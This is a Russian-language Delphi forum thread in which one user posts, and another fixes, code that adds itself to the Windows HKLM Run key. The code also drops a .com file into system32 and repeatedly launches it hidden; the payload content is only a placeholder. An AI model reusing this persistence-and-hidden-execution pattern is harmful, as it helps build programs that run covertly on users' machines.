Сохранение содержимого StringList в файл

[rainbow]

Написал программу, которая прописываеться в автозагрузку через реестр, создает файл XXXX.com, с внутренним содержимым XXXX, проверяет наличие его каждые 10 секунд в системе (Timer1.interval установлен на 10000), и пытаеться её запустить, но почему то не работает.

procedure TForm1.FormCreate(Sender: TObject);
var
Regini:TRegIniFile;
begin
Regini:=TreginiFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
Regini.OpenKey('Software',true);
RegIni.OpenKey('Microsoft',true);
RegIni.OpenKey('Windows',true);
RegIni.OpenKey('CurrentVersion',true);
RegIni.WriteString('Run','prog',Application.ExeName);
RegIni.Free;
Timer1.Enabled:=true;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
label
10;
var
prog:TStringlist;
begin
prog:=TStringList.Create;
if FileExists('%SystemRoot%\system32\XXXX.com') then goto 10
else
begin
  prog.Add('XXXX');
  prog.SaveToFile('%SystemRoot%\system32\XXXX.com');
  prog.Destroy;
10:
  winexec(pchar('%SystemRoot%\system32\XXXX.com'),SW_HIDE);
end;
end;

end.

[VVM]

Попробуй так:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ComCtrls, Registry, ExtCtrls, ShellAPI;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
  Regini:TRegIniFile;
begin
  Regini := TreginiFile.Create('Software');
  RegIni.RootKey := HKEY_LOCAL_MACHINE;
  Regini.OpenKey('Software',true);
  RegIni.OpenKey('Microsoft',true);
  RegIni.OpenKey('Windows',true);
  RegIni.OpenKey('CurrentVersion',true);
  RegIni.WriteString('Run','prog',Application.ExeName);
  RegIni.Free;
  Timer1.Enabled := true;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  prog: TStringlist;
  buf: array [0..255] of Char;
  path: string;
begin
  GetWindowsDirectory(buf, sizeof(buf));
  path := buf + '\system32\XXXX.com';
  prog := TStringList.Create;
  if FileExists(path) then
    ShellExecute(Handle, 'open', pchar(path), '', '', SW_HIDE)
  else
  begin
    prog.Add('XXXX');
    prog.SaveToFile(path);
    prog.Free;
  end;
end;
end.

З.Ы.
1. Оператор GoTo сильно усложняет читабельность кода, особенно в больших количествах и на начальных этапах.
2. Вместо Destroy лучше использовать Free.